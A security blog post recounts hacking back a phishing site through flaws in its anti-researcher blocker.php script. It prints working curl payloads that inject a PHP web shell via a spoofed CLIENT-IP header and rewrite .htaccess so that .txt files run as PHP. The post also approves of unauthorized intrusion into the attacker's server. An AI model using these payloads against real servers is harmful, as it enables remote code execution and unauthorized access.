Hack-back: a tale of embarrassing phishing campaign

Today was a good day, I received a phishing email to by Protonmail address. I don’t have a copy of the email, as I reported it and later deleted it as spam. Thankfully, other security research took screenshots yesterday:

The phishing mail was included a Bitly link (URL shortener). The nice thing about Bitly is that you can add a plus (+) character on the end of URL and it will show you how many people clicked the link and what is the location of redirect:

More than 100 people clicked the link when I received the phishing email. I was a little bit bored, so I started poking around a little bit. I quickly found a directory listing with full source code:

The landing page was written in PHP, it was kinda a generic one, nothing unordinary, except a blocker.php file. It was a code to block security researchers and malware hunters based on IP ranges and user-agent strings. If any of the above matched, the IP was denied access in .htaccess and added to a file badbot.txt for a further investigation.

The fourth line got my attention, as it was very unique:

$ipa = $_SERVER['HTTP_CLIENT_IP']? $_SERVER['HTTP_CLIENT_IP'] : ($_SERVER['HTTP_X_FORWARDE‌​D_FOR'] ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR'] );
$useragent = $_SERVER['HTTP_USER_AGENT'];

if(isset($_POST['gotcha'])){
     blockBot($ipa);
}

The thing in web security is, you should never trust user input. In this case, you can spoof both HTTP_CLIENT_IP and HTTP_X_FORWARDED_FOR headers.

If you called the blocker.php script with a POST request and gotcha parameter, the IP address was blocked:

function blockBot($ip){
$bot = 'deny from '.$ip;
$myfile = file_put_contents('.htaccess', PHP_EOL.$bot.PHP_EOL , FILE_APPEND | LOCK_EX);
header('HTTP/1.0 404 Not Found');
die("<h1>404 Not Found</h1>The page that you have requested could not be found.");
}

If the user-agent matched any array value like InfoSec, Kaspersky, ... , the IP was added to badbot.txt :

foreach($bad as $zbal) {
    if(stripos($useragent,$zbal) !== false) {
        file_put_contents('badbot.txt', $ipa, FILE_APPEND | LOCK_EX);
        blockBot($ipa);
    }
}

So I quickly figured out that I can insert PHP shell to badbot.txt and force .htaccess to execute .txt files as PHP. The trick from the 2000s used to hack insecure PHP uploads

Inserting PHP web shell into badbot.txt (learned this one from Sucuri ):

curl $url/blocker.php -H "CLIENT-IP: <?php extract($_REQUEST);$a($b); ?> " -H "User-agent: InfoSec"

Forcing Apache to execute .txt as PHP via .htaccess:

curl $url/blocker.php -H "CLIENT-IP: \r\nAddType application/x-httpd-php .txt\r\n" -H "User-agent: google" --data "gotcha=1"

This can be a very nice CTF challenge, full source-code here: https://gist.github.com/vavkamil/b115ef829329f9fd3876c077e843641b

In the end, I was able to take down the phishing infrastructure in less than 30 minutes, and maybe saved someone from a compromise. Mess with the best, die like the rest!

Indicators of compromise (IoC):

• urielsilveira[dot]com
• keyword.tech.2017[at]gmail.com
• alvinwalker247[at]gmail.com